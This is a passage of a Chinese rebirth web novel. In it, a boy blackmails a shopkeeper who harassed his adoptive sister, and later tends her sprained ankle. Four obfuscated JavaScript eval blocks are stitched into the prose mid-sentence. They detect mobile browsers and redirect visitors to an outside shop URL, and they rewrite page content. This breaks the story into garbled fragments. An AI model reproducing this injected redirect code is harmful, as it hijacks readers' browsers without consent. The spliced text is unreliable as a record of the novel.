前世,姜芸薇鼓起勇气独自一人去讨要帕子,陈掌柜那个无赖却再三纠缠,碰巧让他的妻子瞧见了,陈掌柜便倒打一耙,污蔑姜芸薇勾引他。 那陈掌柜的妻子是个泼辣的,不去责怪自己丈夫,反而将火气对准了同为受害者的姜芸薇,后来,此事在柳溪村几乎闹得几乎人尽皆知,季珣自然知晓。 他垂下眼睫,温声道:“我早就听闻那个陈掌柜不是什么好东西,阿姐可是被他欺负了?” 听他说的这般直白,姜芸薇顿时红了眼眶,心中又羞又愧,她手指紧紧绞着衣角,自责嗫喏道:“阿珣,对不起,都是我不好,我不该……” “阿姐在胡说什么?”季珣心中不耐,蹙眉打断她,“错的人是陈掌柜,与你有何干系?” “可是阿珣,我……”姜芸薇支支吾吾,半天都说不出话来。 这个世道对女子总是越发苛刻的,倘若此事传了出去,哪怕她是受害者,也依然不可避免会遭到旁人的非议。 况且,她也害怕因此影响到季珣的名声。 “阿姐不必自责,你没有错。”季珣语气软和下来,“我同你一起去一趟锦绣阁,为你讨回公道。 闻言,姜芸薇反而紧张起来,她情急之下,一把攥住季珣的衣袖,“阿珣,不必了,我自己去就好了,我只想拿回那些帕子,至于讨回公道就算了,多一事不如少一事。” 季珣语调越发温柔,一字一句恍若蛊惑,“阿姐,一味忍让退步是没用的,他不过是欺负阿姐如今孤苦无依,倘若今日不给他一个教训,往后他只会越发肆无忌惮,况且,难道阿姐你就咽得下这口气?不想让他为他的所作所为付出代价吗?” 姜芸薇愣了愣,从小寄人篱下的经历让她养成了怯懦的性子,哪怕吃亏也从来不敢去争辩,不管受了什么委屈都是选择忍气吞声,村里人都夸她好性子,还从未有人同她说过,她不该这样。 姜芸薇头一次感到有些迷茫,好半晌,她才怯怯道:“一切都听阿珣的。” * 两人搭牛车一同前往青阳镇。 姜芸薇忍不住悄悄抬眼打量坐在一旁的季珣。 他今日穿着一身石青色的布衣,正靠在车厢上闭目养神,乌黑柔软的发丝垂在两侧,肤色透着几分病弱的苍白,明明不过十四岁,看起来却异常沉稳,尤其是此次母亲去世,他恍若脱胎换骨般,整个人都和从前不一样了。 “阿姐在看什么?”季珣蓦地睁开眼,双眸中一瞬间迸射出的寒光,恍若浸透在冰雪中的琉璃,森寒入骨。 姜芸薇怔了一下,她眨了眨眼,凝神细看,眼前的少年又恢复了那副温润淡然的模样,姜芸薇疑心方才那一瞬间只是自己的错觉,她柔声答道:“阿珣,姐姐总觉得你和从前不太一样了,是不是这次母亲的事对你打击太大了,倘若心中难受,可以告诉姐姐,不要一个人憋在心里,如今,我们是世上彼此唯一的亲人了。” 彼此唯一的亲人么? 季珣心中生出一丝微妙的情绪,明明他们两人并无血缘,可是姜芸薇却始终将他当成亲弟弟一般看待,在前世,甚至甘愿犯众怒为他求情。 明明他做了那么多十恶不赦的坏事,明明他早就抛弃她了,早就将那可笑的姐弟情分忘得一干二净。 姜芸薇到底是怎么想的呢? 他这样的人,压根就不值得啊! 季珣收回思绪,语调温和,“阿姐多虑了,以前是我不懂事,做了许多错事,让阿姐伤心了。” 姜芸薇微微一笑,“过去的事情就别提了,往后我们姐弟两人相互扶持,日子一定会越过越好的。” 自从重生以后,季珣从未期待过往后的日子,甚至只觉得人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659060|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生漫长而又乏味。 然而,这一刻,看着姜芸薇脸上温婉的笑容,他却不由得当真生出了几分期待之心。 姐弟两人相互扶持么? 季珣眼底浮现些许兴致,秾丽的面容上露出一抹真心实意的笑容。 两人到了青阳镇后,便直奔锦绣坊而去。 待走到门口时,姜芸薇又有些迟疑了,她定住脚步,神情忐忑,“阿珣,要不我还是自己去吧……”季珣好歹也是读书人,怎么能为了她掺和进这种事情。 “开弓没有回头箭,阿姐不要再犹豫了。”季珣迈步率先走了进去。 见状,姜芸薇只得快步跟了上去。 此刻,绣坊内客人不少,陈掌柜正忙着招待,他余光瞧见姜芸薇和季珣两人一起走进来,脸上顿时闪过一抹异样的神情。 旋即,他连忙放下手头事情,快步迎了上去,“姜姑娘,今日可还是来交帕子的?” 他的神情分外自然,似乎昨日的一切都未曾发生过。 姜芸薇看到他,脑海中不由自主便浮现出昨日发生的事情,她下意识的攥紧了袖角,小声嗫喏道:“陈掌柜,我昨日把帕子落在你这里了,麻烦你还给我。” 陈掌柜瞥了一眼站在她身侧的季珣,似乎有所忌惮,然而,很快他便笑着装傻道:“姜姑娘,我不明白你在说什么,什么帕子?” “陈掌柜,你……”姜芸薇笨嘴拙舌,从来不擅长和人争辩,面对这样的无赖,她气的涨红了脸,却不知该说些什么。 季珣上前一步,微微一笑,单刀直入的开了口,“我听闻这间铺子,原本乃是林家的产业,是林小姐的陪嫁,倘若林小姐知道你背地里做的这些事情,你猜猜,她会怎么做?” 他口中的林小姐,正是陈掌柜的妻子,林玉娘。 闻言,陈掌柜瞬间冷了脸,怒道:“你胡说什么?” 眼前的少年,明明不过只是个十四岁大的毛头小子,他目光平和的凝视着陈掌柜的时候,却给人一种不寒而栗的感觉,恍若被什么毒蛇猛兽给盯上。 季珣弯了弯唇,面上没有丝毫情绪起伏,“陈掌柜,想必林姑娘还没见过你养在如意坊的那位外室吧?” 此言一出,陈掌柜瞳孔一缩,霎时恍若被掐住了嗓子的鸡,脸色变得极为惊恐,就连声线都有些颤抖不稳,“你说什么?” 他在如意坊养外室之事做的极为隐秘,这个季珣是如何知晓的? “倘若没有做过,又何必畏惧。”季珣漫不经心的冷笑,眼眸中是毫无情绪波动的漠然。 陈掌柜被他的眼神中的杀意震摄住了,下意识往后退了一步,语气中多了几分惧意,“你到底想要怎么样?我这就将昨日的帕子的钱拿给姜姑娘,这件事情,你千万不要说出去。” 季珣伸出一根手指,气定神闲开了口,“一百两银子,我就帮你保密这件事情。” 此言一出,不仅是陈掌柜,就连一旁的姜芸薇都惊了一跳,一百两银子,她恐怕一辈子都赚不到这个数,阿珣莫不是疯了不成? 5. 给你做衣裳 陈掌柜怒不可遏的叱骂道:“你还真敢狮子大开口啊,果然是有爹娘生没爹娘教养的臭小子,小小年纪就学会了讹人!” 季珣勾了勾唇角,“既然陈掌柜您舍不得这一百两银子,那我便将此事告知林小姐了,到时候可就不止一百两了,恐怕就连眼下这间绣坊,也全都要被悉数收回了。” 他的瞳仁极黑,面上带着一抹淡淡的诡谲的笑意,恍若在看一只微不足道的蝼蚁。 这眼神,分明就是赤裸裸的挑衅。 陈掌柜心中怒极,这还是他头一次吃这样的大亏,还是栽在这样一个毛都没长齐的臭小子身上,他简直恨不得将季珣大卸八块,却又无可奈何,毕竟他有把柄落在对方手中。 权衡一番后,陈掌柜很快就变了脸色,一团和气的笑着说道:“小季啊,你娘在世的时候,和我可是老熟人了,大家都是乡里乡亲的,何必将事情做的这么绝呢,你看这样行不行,昨日姜姑娘绣品的钱,我双倍给她,往后她做了什么绣品,尽管还来我们锦绣阁,我给她涨价。” 闻言,姜芸薇不禁有些意动,往后她是万万不敢再和锦绣阁做交易了,然而,只要当真将昨日绣品的钱双倍赔给她,她就已经知足了。 思及此,她悄悄扯了扯季珣的衣袖,给他递了个眼色。 季珣却像是没有看出她的暗示一般,面上依旧挂着笑容,口中说出的话丝毫不留情面,“陈掌柜,据我所知,其它绣坊收的绣品出价可是都比锦绣阁要高,这些年,你没少压价吧?我可不像阿姐和娘一样心软良善。” 见他如此油盐不进,陈掌柜气的面容微微扭曲,眼睛几乎快要喷出火来,咬牙切齿道:“行,一百两银子给你,往后你们姐弟最好别有什么把柄落到我手上,不然我非要弄死你们不可。” 季珣掀起眼皮,薄唇勾起一抹邪肆的冷笑,语调端的散漫,“多谢陈掌柜,那我们姐弟两人拭目以待,等着这一天了。” 太嚣张了! 陈掌柜气的额角青筋直跳,却又拿他毫无办法,只能眼睁睁的看着季珣带着从他手中讹来的一百两银子,扬长而去。 * 一直到置身于热闹繁华的大街上,姜芸薇的心情依旧难以平复,忐忑、担忧、惊惧、震惊…,万般情绪交织在心头,犹如翻腾着滔天巨浪,让她久久无法平静。 在她的心目中,季珣虽然性情沉默寡言,聪敏早慧,却终究只是个需要姐姐庇佑的十四岁的孩子。 她从未见过这样一面的他。 冷静理智、运筹帷幄,仿佛执掌着生杀予夺的无上权柄,一切尽在他的掌控之中。 姜芸薇忽然有种莫名的预感,阿珣有朝一日,定能够离开柳溪村,青云直上,出人头地。 而她这个姐姐要做的事情,就是支撑起这个家,让季珣能够安心读书,再无后顾之忧,不为生计发愁。 “阿珣。” 踌躇许久,她终是忍不住停住脚步,唤住走在她身前几步之遥的季珣。 季珣回头,以眼神询问她何事。 他的眸光清浅无波,神情平静,好似方才发生的一切,于他而言,不过是一件微不足道的小事。 姜芸薇眸中满是担忧,“阿珣,陈掌柜定然不会就此善罢甘休,如今娘的丧事也都办完了,要不你还是提前回学堂去吧。” 季珣不以为意,“阿姐不必担心,只怕他自身都难保。” 姜芸薇面露不解之色。 季珣却并没有要同她解释的意思。 姜芸薇只好暂且压下心头纷杂的思绪,她弯起唇角,娇艳面容上浮现盈盈笑意,“罢了,不说这些了,总之不管发生什么事情,阿姐都会护着你的,再过几日,你也要去学堂了,今日难得来镇上一趟,我们去前面铺子买几匹布吧,阿姐给你做几件新衣裳。” 季珣眸光幽深,轻声应了一个“好”字。 * 今日并不是赶集的日子,绸缎庄铺子里只有零星几个客人。 掌柜的眯着眼睛,靠在紫檀木制的躺椅上打盹。 瞧见姜芸薇和季珣两人走进来,他也只是懒洋洋的掀了下眼皮,很快就阖上了。 两人粗布麻衣,瞧着便是一脸的穷酸样,这样的客人,他平日里见多了,实在疲于应付。 姜芸薇被冷落了也不恼,自顾自的挑选起来。 季珣半边身子隐在暗处,视线毫不避讳的落在姜芸薇的身上。 她此刻正弯着腰,垂头为他挑选合适的布匹,日光从窗外照射进来,被镂空雕花窗棂筛成了一片片斑驳的暗影,洒落在少女的半边侧脸上,她清秀的眉目间,流淌着如春水般的涓涓温情。 “阿珣。” 姜芸薇倏地转过头,莞尔一笑。 她站在稀疏光影里,朝着他招了招手,嗓音温柔,恍若揉着一湖池水一样,“你看看这个颜色你可喜欢?” 那一刻,季珣恍若被什么蛊惑了,竟不由自主的走上前。 姜芸薇手中拿着的是一块靛青色的缎子,细麻丝纺织布料。 对于他们现如今的家境而言,这样的布料,已经算是奢侈了。 柳溪村的其他村民们,大多数都还是穿着粗衣麻布的料子。 他这个姐姐,总是想在能力范围之内,给他最好的东西。 季珣垂下眼睫,“阿姐做主便好。” 姜芸薇亦在打量季珣。 她目光在季珣身上流连,少年穿着青色长衫,清瘦挺拔,身姿颀长,宛如巍峨青松。 寒来暑往,四季更迭,少年的身量也犹如春笋般疯狂抽长。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659061|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犹记得小时候,明明两人还差不多高,而如今,自己却只够到他的肩膀。 好像一眨眼的功夫,季珣便长成大人了。 姜芸薇叹了口气,柔声道:“阿珣,你伸一下手臂,我再给你量量尺寸吧,你好像又长高了不少。” 季珣深深的看了她一眼,继而,顺从的张开双臂。 姜芸薇站在他的身后,拿尺子在他身上比划着。 少年身量高,她得踮起脚才能够勉强够得上。 两人之间的距离不过一掌,季珣能够闻到她身上淡淡的香味,如幽兰般清淡雅致,若有似无,隐隐撩动着他的神经。 季珣不好女色,两辈子也从未与女子靠的这么近过,气息交缠恍若只在咫尺之间。 一股陌生的,汹涌而来的燥意蓦地在心中滋长,如藤蔓般生根发芽,逼的他心口都在轻微的战栗,使得他无法再聚精会神。 他不明白这代表着什么。 他只知道,这种感觉令他十分不适。 “阿珣果真长高了不少。”姜芸薇口中念叨着,她的手绕过季珣的腰,耐心细致的测量着,目光专注而又柔和,远远望去,两人姿势犹如一对环抱的眷侣。 绣帘半卷,夏日午后,纤细的尘埃在日光中漂浮飞舞,两人朦胧的影印在墙上,交叠纠缠。 “好了。” 姜芸薇收回手,莞尔一笑,声音又轻又软。 季珣低头看她。 少女穿着一身月白色长裙,乌黑长发上只缀着一根简陋木簪,一双杏眼澄澈明亮,白皙的肌肤透着淡淡的粉,自有一股含蓄柔婉的韵致。 他不动声色的移开了目光。 季珣低下头,视线却蓦地被一块湖绿色的素软缎料子给吸引住了,他瘦削修长的手指轻轻摩挲了两下,“阿姐,这料子颜色适合你,不如一块买下吧。” 前世,皇上曾经赏赐给他几匹软烟罗的布料,质地轻柔,色泽淡雅,似烟雾一般轻盈缥缈,在日光下熠熠动人。 一直到临死之际,那布料都没有派上用场。 倘若用来做成衣裙,穿在姜芸薇的身上,应当极为合适。 季珣脑袋中突然不合时宜的冒出这个念头。 姜芸薇不假思索的拒绝了他的提议,“不必了,阿珣,我衣服够穿了,况且家中用钱的地方还有很多,不必浪费在我身上。” 这个回答完全在季珣的意料之中。 然而不知为何,他的心中却无端有些气闷。 季珣从来没有见过这样蠢的女人,他们两人压根没有任何血缘关系,况且,家中贫困,她自己都生活的举步维艰,却甘愿为了他付出一切。 何其愚蠢,何其可笑。 他压根不需要任何人自以为是的对他好。 6. 是谁伤了你? 回到家中后,季珣将那一百两银子悉数交给了姜芸薇。 对于如何处理这银子,姜芸薇却犯起了难。 这钱毕竟来路不正,虽然季珣让她宽心,然而,她的内心却总是感到一阵难以言喻的不安,倘若东窗事发,会不会影响季珣的名声? 姜芸薇纠结良久,最后选择将银子放入木匣中,上了锁后藏在床底下。 等到此事风声过去了,再拿出来用也不迟。 姜芸薇却没想到,报应居然来的这么快。 次日,她去河边浣洗衣裳,恰好听到村里几位妇人正在议论此事。 “诶,你听说没,青阳镇出了件丑事,锦绣阁的林小姐闹着要休夫,听说陈掌柜在外面养了外室,肚子都大了,林小姐不知从如何知晓了此事,她素来性子泼辣,如何肯善罢甘休。” “陈掌柜前脚刚被赶出家门,后脚就被衙门的人抓起来了,听说是调戏良家妇女,那女子不堪受辱,投湖自尽了,真是无妄之灾。” 闻言,姜芸薇不禁有些唏嘘。 对于女子来说,名节何其重要,陈掌柜还真是害人不浅,落得这个下场,也是他罪有应得。 “阿姐不必担心,只怕他自身难保。” 昨日,季珣说过的话蓦地浮现在脑海中。 这件事情,该不会和季珣有关吧? 姜芸薇心中莫名有些不安,她总感觉,现在的季珣变得令她有些捉摸不透了。 不过无论如何,陈掌柜如今入狱,对他们来说也是一件好事。 这样一来,姜芸薇就不必再担心季珣遭到他的报复了。 * 早春多雨,姜芸薇刚洗完衣物,抱着盆准备离开,暮春之雨便哗哗的落了下来,嫩绿的柳条随风轻舞,空气中弥漫着一层薄雾,湿润的雾气裹挟着雨丝拂在面上,冰冰凉凉。 “怎么突然下雨了?” 姜芸薇喃喃自语,她没有带伞,下意识的加快了脚下步伐,朝着家中方向疾步走去。 “臭丫头,站住!” 这时候,身后蓦地传来葛三粗犷的声音。 姜芸薇心下一惊,她头也不回,连忙拔腿就跑。 然而,她毕竟只是个弱女子,又抱着衣盆,很快就被葛三给追上了。 葛三拦在她的面前,满面怒容,“臭丫头,你真是能耐了,看到老子居然敢跑。” “你想做什么?”姜芸薇又气又怕。 这个葛三,还真是像狗皮膏药一样阴魂不散,上次被季珣打了一顿,没想到还是如此不知收敛。 葛三嬉皮笑脸,“芸娘,你跑什么呀,不管怎么说,我好歹也是你爹,还能吃了你不成?” 姜芸薇瞪着他,“住嘴,你不是我爹!” “小没良心的,你娘死了就翻脸不认人了。”葛三冷哼一声,他也懒得装了,直接道明来意,“借我点银子,最近手头有点紧。” “没有。”姜芸薇一口回绝,“家中的情形你也知晓,再说阿珣读书也需要一大笔花销,哪来那么多余钱。” “还想骗我。”葛三舔了舔后糟牙,冷笑道:“昨日你不是才去青阳镇上卖帕子了,卖帕子的钱呢,快给我!等我赢了钱就还给你,季珣那个臭小子狼心狗肺,你把钱都拿去供他读书又有什么用,他根本不会念着你的好,没准等他当上官,就把你给踹了,你还真当自己是他的亲姐姐啊?” 姜芸薇面带愠色,怒其不争,“你还想着赢钱,这些年,你的银子都输给赌坊了,你还不死心?至于阿珣将来如何待我,那是我的事情,不用你管!” “臭丫头,真是不识好歹,你还教训起我来了,赶紧把银子给我。”葛三面露凶光,一步步朝着她逼近。 姜芸薇惊惧不已,下意识往后退。 雨天地面湿滑,她脚下一个不稳,身子朝一侧直直摔去,衣盆“砰”的一声掉在地上,衣物洒了一地,溅满了泥点子。 姜芸薇想要拾起衣物,脚踝处却传来一阵撕心裂肺的剧痛,她倒抽一口冷气,疼的眼冒金星,整个人又跌坐在地上。 葛三也被吓了一跳,他生怕被姜芸薇讹上般,连忙往后退了一步,“这可是你自己摔倒的啊,和我可没关系。” “真是晦气!”葛三往地上啐了一口,转身一溜烟跑了。 乌云聚拢,雨越下越大,姜芸薇身上的衣服已经完全被浸湿了,凉意深入骨髓,她忍不住打了个寒颤。 她手撑着地面,试图慢慢站起身,右腿却全然使不上力气,稍微动弹几下便是一阵钻心的剧痛。 “姜姑娘?” 一道清朗的嗓音突然在耳边响起。 姜芸薇愣了愣,她抬起头,瞧见一个陌生男子站在面前,正一脸关切的望着自己。 微雨溟濛,男子穿一身雪青锦缎长袍,手中撑着一柄二十四骨油纸伞,面容清俊,双眸璀亮,看起来不过十五六岁的年纪。 雨线斜织,落在伞面上,坠成一道晶莹的珠帘,他俊美的面容恍若笼着一层雾气,朦胧秀美。 “你认识我?”姜芸薇杏眼湿漉漉的,讶异问道。 “姜姑娘不记得我了吗?我是季珣的同窗,你之前陪伯母来学堂送东西,我曾见过你一次。” 他的声线清润,犹如山涧清泉,潺潺流淌。 姜芸薇回想了一会儿,这才恍然大悟,“原来是林公子。” 季珣上学的学堂在青阳镇的云隐书院,乃是方圆百里最好的书院,束脩亦比其他书院要高些,季珣家境贫寒,又生性寡言,不与旁人亲近,他的朋友很少,唯一能够说得上话的,也就只剩下一个林遇。 林遇此人性情温和,待人彬彬有礼,从不会像其他学子一样嫌贫爱富,有门第之见,因此,姜芸薇对他颇有几分好印象。 林遇抬了抬伞面,挡在姜芸薇头顶,“姜姑娘,你脚崴了吗?可需要我帮忙?” 姜芸薇有些难为情。 她如今,实在狼狈的很。 春衫被雨水打湿,发丝亦是湿成一缕一缕,贴在脸颊和脖颈处,她的裙摆上全是泥水,这副模样,实在有碍观瞻。 似乎看出了她的顾虑,林遇脱下身上的外袍,小心递到她手中,嗓音温柔,“雨水湿凉,姜姑娘先披上我的衣服吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659062|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当心染了风寒。” 姜芸薇犹豫了一瞬后,终是没有拒绝。 “姜姑娘,冒犯了,我先扶你起来吧。” 待到姜芸薇穿好衣服,林遇朝着她伸出了手。 这种情形下,姜芸薇也不顾上什么男女大防了,她握住林遇的手,借力缓缓站了起来。 雨水涟涟不绝,林遇的声音恍若也沾染了雨丝,清润微凉,“姜姑娘,我先送你回家,待会再折返回来捡地上的衣裳。” “今日真是麻烦你了。”姜芸薇感激不已。 倘若不是遇到了林遇,她一个人还不知道要在这里待多久。 林遇柔声宽慰她,“姜姑娘不必客气,我与季珣有同窗之谊,你又是他的姐姐,今日所为也不过只是举手之劳罢了,不必挂在心上。” 君子风范,尽显无疑。 听他提到季珣,姜芸薇下意识问道:“林公子今日可是来找阿珣的?” 林遇并不是柳溪村的人,他大老远的跑来这里,除了来找季珣,姜芸薇实在想不到其他理由。 林遇点了点头,“是的,我听闻伯母辞世,季珣这段时日向夫子告假,所以特意过来看看他,顺便将这些日子夫子布置的课业送来。” “难为林公子还记挂着阿珣,多谢你。”姜芸薇眸中笑意蔓延开来,恍若清晨的露珠,纯净的不掺一丝杂质。 林遇怔了怔,恍若被她明亮的视线烫了般,连忙转头移开视线。 两人一路再无话,唯有脚踩在地上树叶的沙沙声,空气中弥漫着泥土的气息,远处黛色的群山,道路两旁碧绿的柳枝,都被笼罩在朦胧的雨雾中。 林遇果真不愧是读书人,分外守礼,他规规矩矩的搀扶着她,从头到尾都没有任何逾越之举。 反倒是姜芸薇,心跳急促而凌乱。 …… 屋外的雨势越来越大,从灰蒙蒙的天空倾泻而下,空气中透着凉意,青灰色的檐角雨水如溪流哗哗坠地,绵绵密密,似乎永无止境。 季珣立在窗边怔忡出神。 距离姜芸薇晨起出门,已经过去快一个时辰了,她似乎没有带伞。 还真是个麻烦的女人。 季珣蹙了蹙眉,他随手拿起放在一旁的油纸伞,推开屋门,正欲出去。 院子门突然“嘎吱”一声被人推开,一个少年单手撑着伞,另一只手搀着姜芸薇,缓缓走了进来。 姜芸薇肩上披着男子的外衫,越发衬托的整个人娇小羸弱,几缕湿发贴在她的脸颊两旁,她一双眼睛也是湿漉漉的,像是浸染了潮湿的水汽,看起来楚楚可怜。 而一旁的林遇,身形欣长,相貌清俊秀美,温润如玉,两人站在一起,恍若一对壁人,看上去倒是分外般配。 “阿珣。”瞧见季珣,姜芸薇下意识的便要松开林遇的手,撑着自己站起来,然而,才刚走了两步,脚踝处却骤然传来一顿钝痛,她发出“嘶”的一声,额头沁出冷汗,脸色惨白如纸。 “这是怎么了?是谁伤了你?” 季珣几步上前,及时将她搀住,他的嗓音微沉,带着微不可察的怒意。 7. 我抱你进屋 “我没事,只是不小心崴到脚了。” 姜芸薇柔声说道,她视线落在林遇身上,语气多了几分感激,“幸好路上遇到了林公子,否则还不知道什么时候才能够回来。” 闻言,季珣下意识抬眸看向站在一旁的林遇。 他呼吸一顿。 眼前这人,季珣再熟悉不过。 幼年时,两人一同在云隐书院读书,季珣性情阴沉寡言,令人不敢接近,唯有林遇,从不在意他的冷淡,总是笑着主动同他搭话,后来,季珣渐渐被他打动,两人成了无话不说的朋友。 林遇也是他在书院之中结识的唯一一个朋友。 后来,两人一同在朝为官,朝夕相见,却渐行渐远。 季珣为了扶持不受宠爱的六皇子上位,成了他手中最恶毒的一把刀,为了替他扫清登基为帝路途上的一切障碍,他做尽了腌臜事,手中不知染了多少血腥。 而林遇,清正廉洁之名满天下,两人政见不同,数番在朝堂之中斗的你死我活。 林遇曾经私下劝过他,“六皇子此人本性阴私歹毒,卑鄙狡诈,不堪为帝。” 那时候,季珣被权势迷了眼,压根没将他的话放在心上。 直到后来,季珣才知道,林遇所言不虚。 六皇子登基称帝后不久,便立马卸磨杀驴,而他,也沦为了一颗弃棋。 枉他机关算尽,筹谋半生,到头来一切不过是过眼烟云。 季珣收回思绪,静静望着林遇,眼神闪烁间,有种神思恍惚的迷离之色。 林遇总感觉今日的季珣看他的眼神有些奇怪,却又说不上来哪里奇怪,“阿珣,你怎么了?为何这样看着我?” “无事,只是想起了一些旧事。”季珣语气淡淡,“多谢林公子送我阿姐回来。” 他的嗓音淡漠,恍若眼前之人只是个无关紧要的陌生人。 林遇一怔,两人初相识之际,季珣对他便极其冷淡,然而,随着时日渐久,却也逐渐成为了交心的知己好友,可是如今,他似乎又恢复了两人最初相识那副模样,令林遇有些不知所措。 林遇有些局促的说道:“姜姑娘的衣物还落在林子里,我先去帮她捡回来。” 话毕,不待两人回应,转身便撑着伞快步闯入雨幕之中。 姜芸薇想要叫住他,然而,人却已经走远了。 她转头不解的望向季珣,“阿珣,你怎能对林公子如此冷淡,他不是你的朋友吗?” 季珣幽深的眸底隐晦如深海,暗藏汹涌,“我与他终归不是同路人。” 姜芸薇还想再劝,季珣倏地半蹲下身,大掌环住她的膝盖,一把将她打横抱起,朝着屋内走去,“阿姐自己都受了伤,还有空关心旁的无关紧要的人?” 姜芸薇始料未及,被突如其来的悬空失重感吓得低叫一声,她下意识伸手搂住季珣的脖颈,“阿珣,你做什么,快放我下来,我自己能走。” 季珣声线平缓,语气却透着不容拒绝的强势,“阿姐不必逞强,我先抱你进屋,你的腿伤需要处理。” 暮春衣衫单薄,被雨水淋湿后湿漉漉的贴在身上,黏腻的难受,季珣手掌的温度隔着单薄的衣衫,恍若一团熊熊燃烧的火焰,烫的她心尖都在发颤,姜芸薇浑身僵硬,一动也不敢动。 季珣将她放在凳子上坐好,紧接着,他半蹲下身,伸手去褪她的罗袜。 姜芸薇下意识想要闪躲,却不小心碰到伤处,她疼的倒抽一口冷气,额上冒起了细细密密的冷汗。 “别动。”季珣一把捉住她的右脚,“我帮阿姐看看,应该是脱臼了。” 姜芸薇臊的满面通红,拒绝的话到了嘴边却无论如何都说不出口了。 阿珣只是好心,关心她的伤势,她们两人乃是姐弟,小时候还曾经睡过一张床榻,这没什么大不了的。 姜芸薇喉咙发紧,她在心中默默呢喃着,试图说服自己。 季珣缓缓将她的罗袜脱下,露出雪白细嫩的玉足。 由于过于紧张,她的足弓紧绷着,脚趾微微蜷缩着,泛着淡淡的粉色,脚踝上淤肿了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659063|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大片乌紫色的痕迹,看着分外可怖。 季珣掌心贴着她的脚踝,他身上炽热的温度,带来一阵轻颤。 “阿姐且忍一忍,我帮你正骨。” 说完这句话后,季珣骤然用力,帮她把骨位正了过来。 一阵剧烈的疼痛倏地袭来,姜芸薇忍不住低叫一声,眸中蓄满了泪花。 季珣瞥她一眼,进屋拿了药膏出来。 姜芸薇察觉出他的意图,连忙道:“阿珣,我自己来擦就好了。” 季珣没给她拒绝的机会。 他取出药膏,在掌心揉搓了两下,才覆上她的脚踝。 姜芸薇下意识的想要缩回脚,却被他的大掌锢住,压根动弹不得。 药膏冰冰凉凉,季珣的手掌却如火炉般灼热,隔着一层薄薄的皮肤,一路烫到了她的心里。 姜芸薇手指紧紧的攥着衣襟,掌心沁出薄汗,她紧咬牙关,生怕再痛呼出声。 不知过了多久,方才那种钝痛已经消失了,取而代之的是一阵阵酥麻感,整个人像是泡在热汤里沸腾着。 季珣近乎半跪在她的面前,大手握着她的脚踝骨,眉目低垂,安静专注的一遍遍的给她抹着药膏。 他鸦羽似的长睫轻垂,在眼睑处投下两道淡淡的阴翳。 姜芸薇强压下心头那股怪异的感觉,被雨水淋湿的衣裙黏在身上分外难受,她抿了抿唇瓣,“阿珣,我感觉好多了,我先回屋换件衣裳吧,免得弄脏了林公子的外袍。” 闻言,季珣仰起头,漆黑的双眸直直的盯着她。 他这时才注意到,她此刻的模样分外狼狈,头发湿漉漉的贴在脸颊边,小脸苍白,几乎看不到血色,唇瓣却是异常的殷红,上面还有些许咬痕,一看便是忍痛留下的痕迹。 季珣喉间突然泛起一阵干涩感,他忍不住舔了舔唇,漆黑双眸恍若倒映着雪色,灼亮的逼人,“那阿姐快去吧,当心着凉染了风寒。” 姜芸薇如蒙大赦,连忙捞起一旁的罗袜,逃也似的,一瘸一拐的走进自己房间。 8. 他竟然梦到了姜芸薇 姜芸薇离开后,季珣依然站在原地没动。 他的手上似乎依然残留着握住她脚踝肌肤的触感,空气中浮动着若有似无的幽兰香气。 一股难言的痒意蓦地爬上心头,季珣手指极轻的蜷缩了一下。 * 姜芸薇回到房间后,心绪依旧无法平复。 一颗心怦怦乱跳,像是要从嗓子眼里蹦出来。 她拍了拍脸颊,喃喃自语,“冷静冷静,阿珣只是你弟弟,他帮你擦药这没什么大不了的。” 然而,心头那股子怪异的感觉却始终挥之不去,姜芸薇低叹一声,在心中默默想着:如今阿珣也大了,俗话说,男女七岁不同席,哪怕是亲姐弟,往后也需要避嫌些才好! 思及此,姜芸薇逐渐冷静下来,她快速换好了衣裳,从房间内走了出来。 恰好此时,林遇也去而复返。 瞧见他,姜芸薇清秀白皙的面容上浮现出一抹笑意,她看向季珣,柔声道:“阿珣,你好好陪林公子聊聊天,我去做饭,今日林公子可是客人,你可千万不能怠慢了人家。” 